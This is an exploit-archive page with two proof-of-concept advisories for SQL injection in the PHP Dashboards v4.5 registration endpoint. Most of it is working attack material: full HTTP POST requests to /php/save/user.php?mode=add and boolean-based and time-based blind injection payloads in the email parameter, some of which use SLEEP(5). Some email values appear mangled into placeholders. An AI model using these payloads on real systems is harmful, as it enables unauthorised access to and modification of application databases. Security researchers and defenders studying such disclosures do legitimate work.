PHP Dashboards 4.5 SQL Injection

`Exploit 1 of 2:  
  
  
# Exploit Title: PHP Dashboards v4.5 - Registration Page SQL Injection  
# Dork: N/A  
# Date: 23.05.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871  
# Version: v4.5  
# Category: Webapps  
# Tested on: Kali linux  
# Description : PHP Dashboards is prone to an SQL-injection vulnerability  
because it fails to sufficiently sanitize user-supplied data before using  
it in an SQL query.Exploiting this issue could allow an attacker to  
compromise the application, access or modify data, or exploit latent  
vulnerabilities in the underlying database.  
====================================================  
  
# PoC : SQLi :  
  
http://test.com/php/save/user.php?mode=add  
  
POST /php/save/user.php?mode=add HTTP/1.1  
Host: phpdashboardv4.dataninja.biz  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://test.com/  
Content-Length: 156  
Cookie: PHPSESSID=kbnho15754hdrgf4aokv8c1a35  
Connection: keep-alive  
email=test123%40gmail.com&password=test123&dashboardKey=&url=  
phpdashboardv4.dataninja.biz  
%2Fphp%2Fsave%2F%3Fmode%3Dcollaborate%26email%3Dtest123%40gmail.com  
  
  
  
Vulnerable Payload :  
  
Parameter: email (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: [email protected]' AND 3667=3667 AND  
'ksGc'='ksGc&password=test123&dashboardKey=&url=  
test.com/php/save/?mode=collaborate%[email protected]  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: [email protected]' AND SLEEP(5) AND  
'iStK'='iStK&password=test123&dashboardKey=&url=  
test.com/php/save/?mode=collaborate%[email protected]  
  
  
====================================================  
  
Exploit 2 of 2:  
  
# Exploit Title: PHP Dashboards 4.5 - SQL Injection  
# Dork: N/A  
# Date: 2018-05-23  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104  
# Version: v4.5  
# Category: Webapps  
# Tested on: Kali linux  
# Description:   
# PHP Dashboards is prone to an SQL-injection vulnerability  
# because it fails to sufficiently sanitize user-supplied data before using  
# it in an SQL query.Exploiting this issue could allow an attacker to  
# compromise the application, access or modify data, or exploit latent  
# vulnerabilities in the underlying database.  
  
# PoC: SQLi:  
  
http://Target/php/save/user.php?mode=add  
  
POST /php/save/user.php?mode=add HTTP/1.1  
Host: phpdashboardv5.dataninja.biz  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://phpdashboardv5.dataninja.biz/  
Content-Length: 152  
Cookie: PHPSESSID=f4ducgk49cgei129vs7qfl10g7  
Connection: keep-alive  
email=test2%40gmail.com&password=test123&dashboardKey=&url=  
phpdashboardv5.dataninja.biz  
%2Fphp%2Fsave%2F%3Fmode%3Dcollaborate%26email%3Dtest2%40gmail.com  
  
  
# Vulnerable Payload:  
# Parameter: email (POST)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload:   
  
[email protected]' AND 6800=6800 AND  
'fACB'='fACB&password=test123&dashboardKey=&url=  
Target/php/save/?mode=collaborate%[email protected]  
  
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload:   
  
[email protected]' AND SLEEP(5) AND  
'zgpA'='zgpA&password=test123&dashboardKey=&url=  
Target/php/save/?mode=collaborate%[email protected]  
  
  
`